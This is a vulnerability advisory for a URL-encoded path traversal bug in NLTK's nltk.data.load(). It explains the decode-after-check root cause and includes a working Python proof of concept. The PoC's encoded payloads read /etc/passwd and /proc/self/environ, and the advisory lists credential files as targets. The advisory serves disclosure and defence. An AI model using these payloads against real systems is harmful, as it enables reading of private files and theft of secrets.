CVE-2026-54293: NLTK: URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read

Summary nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. Affected Component nltk/data.py — find(), normalizeresourceurl(), and the UNSAFENOPROTOCOLRE regex check. Relevant occurrences:

data.py L650–L653 — final path constructed from url2pathname(resourcename) after checks data.py L54–L69 — UNSAFENOPROTOCOLRE operates only on the undecoded string data.py L219–L245 — normalizeresourceurl() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input

Root Cause The regex UNSAFENOPROTOCOLRE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path. Proof of Concept """ NLTK Arbitrary File Read via URL-Encoded Path Traversal ======================================================= Bypasses UNSAFENOPROTOCOLRE security regex in nltk/data.py by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration) CWE: CWE-22 (Path Traversal)

Root Cause: nltk/data.py:find() checks resource names against a regex for traversal patterns (../, leading /, etc.) BEFORE calling url2pathname() which decodes %xx sequences. This is a classic "decode-after-check" vulnerability. """

import sys import os import warnings

Suppress NLTK security warnings for clean PoC output warnings.filterwarnings("ignore", category=RuntimeWarning)

Setup sys.path.insert(0, os.path.join(os.path.dirname(file), "nltk")) os.makedirs(os.path.expanduser("~/nltkdata/corpora"), existok=True)

import nltk from nltk.pathsec import ENFORCE

BANNER = """ =================================================== NLTK URL-Encoded Path Traversal PoC Affected: nltk <= 3.9.4 Default ENFORCE={enforce} =================================================== """.format(enforce=ENFORCE)

def testvariant(name, payload, fmt="raw"): """Test a single traversal variant.""" try: content = nltk.data.load(payload, format=fmt) if isinstance(content, bytes): preview = content[:200].decode("utf-8", errors="replace") else: preview = content[:200] firstline = preview.split("\n")[0] print(f" [VULN] {name}") print(f" Payload: {payload}") print(f" Read OK: {firstline}") return True except Exception as e: print(f" [SAFE] {name}") print(f" Payload: {payload}") print(f" Blocked: {type(e).name}: {e}") return False

def main(): print(BANNER) vulns = 0

# --- Variant 1: URL-encoded absolute path --- print("[1] URL-encoded absolute path (%2f = /)") if testvariant( "Encoded leading slash bypasses ^/ regex check", "nltk:%2fetc%2fpasswd", ): vulns += 1

print()

# --- Variant 2: Encoded dot-dot traversal --- print("[2] URL-encoded dot-dot traversal (%2e = .)") if testvariant( "Encoded dots bypass \\.\\./ regex check", "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", ): vulns += 1

print()

# --- Variant 3: Literal dots with encoded slash --- print("[3] Literal dots with encoded slash (..%2f)") if testvariant( "Encoded slash after literal .. bypasses \\.\\./ regex", "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", ): vulns += 1

print()

# --- Variant 4: Read process environment (credential leak) --- print("[4] Read /proc/self/environ (credential leakage)") try: content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw") envvars = content.decode("utf-8", errors="replace").split("\x00") print(f" [VULN] Leaked {len(envvars)} environment variables") for var in envvars[:3]: if var: key = var.split("=")[0] if "=" in var else var print(f" {key}=...") vulns += 1 except Exception as e: print(f" [SAFE] Blocked: {e}")

print()

# --- Control: verify normal traversal IS blocked --- print("[CONTROL] Verify literal ../ is blocked by regex") testvariant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

print() print("=" 51) print(f" Result: {vulns} bypass variant(s) succeeded") if vulns > 0: print(" Status: VULNERABLE (url2pathname decodes after regex check)") else: print(" Status: Not vulnerable") print("=" 51)

if name == "main": main() Impact Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.